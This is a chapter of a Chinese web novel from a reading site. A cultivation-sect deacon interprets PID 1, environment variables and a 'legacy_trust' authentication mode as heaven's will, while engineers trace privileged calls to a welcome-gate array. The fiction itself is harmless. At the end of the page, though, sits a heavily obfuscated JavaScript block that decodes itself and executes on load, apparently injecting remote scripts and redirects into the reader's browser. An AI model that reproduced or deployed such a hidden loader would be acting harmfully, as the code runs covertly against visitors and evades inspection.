首页
第353章 请不要把环境变量
返回
关灯 护眼:关 字号:小

第353章 请不要把环境变量解释成天命气运

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第353章请不要把环境变量解释成天命气运(第1/2页)
    控制室的空调嗡鸣声像一根绷紧的弦,从未断过。
    赵星的手还悬在桌沿,指尖距离桌面一寸。他盯着执事,目光里带着一种“你还没完没了是吧”的疲惫感。
    “子从父得,”执事重复了一遍,手指指向屏幕上那棵进程树,指尖几乎碰到发光的面板,“那父从何得?”
    技术员愣了一下。他看了看屏幕,又看了看赵星,喉结上下滚了一下。
    “父进程……也有父进程。”技术员的声音干涩,像砂纸摩擦玻璃,“进程树一直往上追,追到最上面是PID1。”
    “PID1是什么?”执事问。
    “系统初始化进程。”技术员咽了口唾沫,“所有用户态进程的祖先。系统启动时第一个被拉起的程序,负责拉起其他所有进程。”
    执事的手指停在半空。他转头看向赵星,目光里带着一种“你看,果然如此”的神情。
    “第一个。”执事低声重复,“所有进程的祖先。也就是说——”
    “不是。”赵星打断他,“不是道生一。”
    执事没理他,继续看着技术员:“这个PID1,可有名字?”
    技术员手指在键盘上敲了几下。屏幕切换成系统进程列表,密密麻麻的条目快速滚动,最后停在一行高亮上——init,PID1,状态“运行中”。
    “就叫init。”技术员说,“初始化进程的缩写。”
    执事盯着屏幕,眉头微皱,像在辨认一幅年代久远的丹青。他看了很久,低声念出:“init……初也。万物之初。”
    值守弟子在旁边小声接了一句:“《道德经》云:道生一,一生二,二生三——”
    “闭嘴。”赵星按住桌沿,指节发白,“这不是道,这是程序启动脚本。PID1不是创世神,它就是个被内核拉起来的可执行文件。它做的事就是读配置文件、拉起服务、等信号。”
    执事转过头看他,目光平静得像一潭死水。“道友,你说它是最初的。”
    “是的。”
    “你说它拉起了所有其他进程。”
    “……是的。”
    “你说它没有意识,只是执行既定的指令。”
    “对。”
    执事沉默了片刻,然后缓缓点头:“这不就是天道规律么。”
    赵星张了张嘴,又闭上了。他转头看向技术员,目光里带着一种“你来,你说”的压迫感。
    技术员擦了擦额头的汗:“要不……我们把进程树收起来,看看启动配置和环境变量?”
    ***
    屏幕切换成一个列表,密密麻麻的键值对排了三四页。
    技术员的手指在键盘上快速敲击,光标从一行跳到另一行。屏幕上的字符滚动了片刻,最后停在一组高亮条目上。
    TIANHENG_REALM=prod
    AUTH_MODE=legacy_trust
    WELCOME_ARRAY_AUTH=enabled
    执事凑近屏幕,眉头微皱。“这些……字符,是什么意思?”
    “环境变量。”技术员说,“程序启动时读到的外部参数。告诉程序它在什么环境里运行,用什么认证方式,哪些功能可以开启。”
    执事盯着屏幕,目光从一行扫到另一行。“TIANHENG_REALM……天衡所处的天地?”
    赵星闭上眼,深吸一口气。“是生产环境。不是所处的天地,是运行环境分类。prod就是正式环境,不是测试环境。”
    “测试?”执事皱眉,“天地也有真假之分?”
    “没有。”赵星睁开眼,“这是程序的概念。程序在正式环境里处理真实请求,在测试环境里验证新功能。不是天地有真假,是环境有用途。”
    执事若有所思地点了点头。他指着第二行:“那AUTH_MODE=legacy_trust……这是什么意思?”
    “认证模式设置为旧兼容信任。”技术员的声音干涩,“就是说,系统会认一些旧的认证方式,不要求最新的安全校验。”
    “旧兼容信任……”执事重复了一遍,眉头皱得更紧,“也就是说,系统信任某些东西,不是因为它们现在被验证过,而是因为它们曾经被信任过?”
    技术员愣了一下。“从技术上讲……是的。”
    “这是衣钵。”执事说,“旧日传下来的信任。”
    赵星按住桌沿。“不是衣钵,是兼容性配置。因为有些旧系统还没来得及升级,所以保留了一段过渡期,让它们还能正常工作。不是传承,是技术债务。”
    执事看了他一眼,目光里带着一种“道友你何必自欺欺人”的同情。
    使团安全官从控制室门口走进来,手里拿着一块数据板。他看了一眼屏幕,眉头立刻皱了起来。
    “legacy_trust还在生效?”安全官的声音沉下去,“这东西应该在三个月前就下线了。”
    “没下线。”技术员说,“配置还在。”
    安全官走到控制台前,盯着那行字符看了几秒。“马上关掉。这等于把大门敞着,谁有旧钥匙都能进来。”
    技术员的手指悬在键盘上方。他看了赵星一眼,赵星点了点头。
    “等等。”执事的声音突然响起,“你们要关掉什么?”
    “这个legacy_trust。”安全官说,“一个安全漏洞。”
    “漏洞?”执事皱眉,“你们说这是旧日传下来的信任。传下来的信任,为何是漏洞?”
    安全官转过头看他,目光里带着一种“我该怎么跟你解释”的无奈。“因为旧的不一定安全。过去信任的东西,现在可能已经不可信了。”
    “那你们当初为何要信任它?”执事问。
    安全官沉默了两秒。“因为……当时没有更好的选择。”
    执事点了点头,像听到了一个意料之中的答案。“这不就是道统的困境么。祖师传下的规矩,当时是对的,时代变了,规矩还在,就成了枷锁。”
    赵星闭上眼。“这不是道统,这是技术负债。不是一个东西。”
    “结果一样。”执事说。
    赵星睁开眼,看了执事三秒,然后转头看向技术员。“关掉它。”
    技术员的手指落下。
    (本章未完,请点击下一页继续阅读)第353章请不要把环境变量解释成天命气运(第2/2页)
    屏幕上弹出一个红色对话框——
    “警告:该配置项由联邦使团入驻天衡宗交接清单(编号:TH-DIPL-0001)签署确认。修改需双方授权。”
    下面附着一行小字,标注着签名双方的名称和日期。
    安全官的手指停在半空。他盯着那行小字看了很久,喉结上下滚了一下。
    “交接清单?”他的声音变了调,“这东西是交接的时候签的?”
    技术员翻了几页日志,脸色也开始发白。“是……入驻使馆区的时候,双方技术团队共同确认的启动配置清单。上面有当时大使和天衡宗掌门的签名。”
    控制室安静了三秒。
    空调的低频嗡鸣声像一根绷紧的弦,从未断过。
    “也就是说,”执事慢慢开口,“这个漏洞——如果它真的是漏洞——是你们和我们,一起签下来的?”
    安全官没有回答。他盯着屏幕,脸色铁青。
    赵星的手还悬在桌沿,指尖距离桌面一寸。他看了执事一眼,又看了屏幕一眼,然后说了一句自己都觉得无力的话:“当时可能没注意到这个配置项。”
    执事看着他,目光平静。“道友,你们签文件之前,不看内容的么?”
    ***
    安全官的手指在键盘上敲了几下,屏幕切换成审计日志回放界面。
    “既然关不掉,”他说,“那至少查清楚这些异常调用到底是谁触发的。”
    技术员调出最近三次高权限调用的记录。屏幕上弹出一串时间戳和调用路径,每一行都标注着来源IP和调用方标识。
    第一次调用:T+0:00:03,来源:WELCOME_ARRAY_GATE
    第二次调用:T+0:01:17,来源:WELCOME_ARRAY_GATE
    第三次调用:T+0:02:44,来源:WELCOME_ARRAY_GATE
    “WELCOME_ARRAY_GATE是什么?”安全官问。
    技术员查了一下配置表,声音干涩得像砂纸摩擦玻璃。“是……使馆区门口的迎宾阵。”
    控制室再次安静下来。
    空调的低频嗡鸣声像一根绷紧的弦,从未断过。
    “迎宾阵?”安全官重复了一遍,“使馆门口那个阵法?”
    “是。”技术员咽了口唾沫,“配置显示,迎宾阵在使馆入驻时被授予了旧兼容认证权限。也就是说,它可以用legacy_trust的身份去调用系统资源。”
    “迎宾阵为什么会需要调用系统资源?”安全官的声音沉下去,“它就是个……迎宾的。”
    技术员翻了翻日志,脸色越来越白。“因为迎宾阵的认证脚本里嵌了一个旧版API调用。它每次检测到来访者,都会用这个API去查系统里的访客白名单。”
    “访客白名单?”安全官皱眉,“什么访客白名单?”
    “就是……使馆区登记过的访客数据库。”技术员说,“迎宾阵会比对来访者的气息特征和数据库里的记录,匹配上了就自动放行。”
    执事站在侧后方,袍袖垂着,手指藏在布料里。他盯着屏幕,眉头微皱,像在辨认一幅年代久远的丹青。
    “也就是说,”执事慢慢开口,“门口的迎宾阵,每次有人来,都会替你们查一次库?”
    “从技术上讲……”技术员的声音越来越小,“是的。”
    “那三次异常调用,”执事说,“就是迎宾阵查库的记录?”
    技术员翻了一下日志,点了点头。“是。三次调用都来自迎宾阵,都用了legacy_trust的旧认证权限,都合法。”
    “合法?”执事重复了一遍,目光转向赵星,“道友,你说这是异常调用。可这阵法每次迎宾都要查库,是它本来的职责。它用的是你们当初给它的权限。它做的是你们当初让它做的事。这哪里异常了?”
    赵星的手还悬在桌沿,指尖距离桌面一寸。他看着屏幕上的审计日志,看着那三行整整齐齐的调用记录,喉结没动。
    “异常不是指它做了不该做的事。”赵星说,“异常是指它做的事产生了不该有的效果。”
    “什么效果?”执事问。
    赵星转过头看他。“迎宾阵查库的时候,调用了高权限接口。这个接口除了查访客白名单,还能做别的事。如果有人利用这个接口——”
    “谁利用?”执事打断他,“阵法没有意识,它只是执行既定的指令。你们给它开了门,它就走这门。你们没给它关,它就一直走。这不是异常,这是你们当初的设计。”
    控制室安静了五秒。
    空调的低频嗡鸣声像一根绷紧的弦,从未断过。
    安全官盯着屏幕,脸色铁青。技术员的手指悬在键盘上方,指节白得像纸。值守弟子站在角落里,大气不敢出。
    赵星看着执事,执事也看着他。
    “道友,”执事的声音很轻,像在陈述一个事实,“你们现在遇到的问题,不是有人闯了进来。是你们当初亲手把钥匙交给了阵法,然后忘了这件事。”
    他顿了顿,补了一句:“这在我们修仙界,叫因果。”
    赵星闭上眼,深吸一口气,然后睁开。
    “不是因果。”他说,“是配置管理不善。”
    执事看着他,目光里带着一种“道友你何必自欺欺人”的同情。
    赵星转头看向安全官。“交接清单原件在哪里?”
    安全官愣了一下。“在……使馆档案室。”
    “调出来。”赵星说,“我要看当初是谁签的这份配置。”
    安全官点了点头,转身往外走。走到门口时,他停了一下,回头看了屏幕一眼。
    屏幕上,审计日志还在滚动。那三行整整齐齐的调用记录,像三根钉子,钉在发光的面板上。
    空调的低频嗡鸣声像一根绷紧的弦,从未断过。
    执事站在侧后方,袍袖垂着。他看着屏幕上的日志,低声说了一句:“若阵法只是迎宾,为何能替贵邦开门?”
    赵星没有回答。
    他盯着屏幕上的WELCOME_ARRAY_GATE,手指在桌沿敲了两下,指节叩击桌面的声音被嗡鸣吞没。
    这个问题,他暂时回答不了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();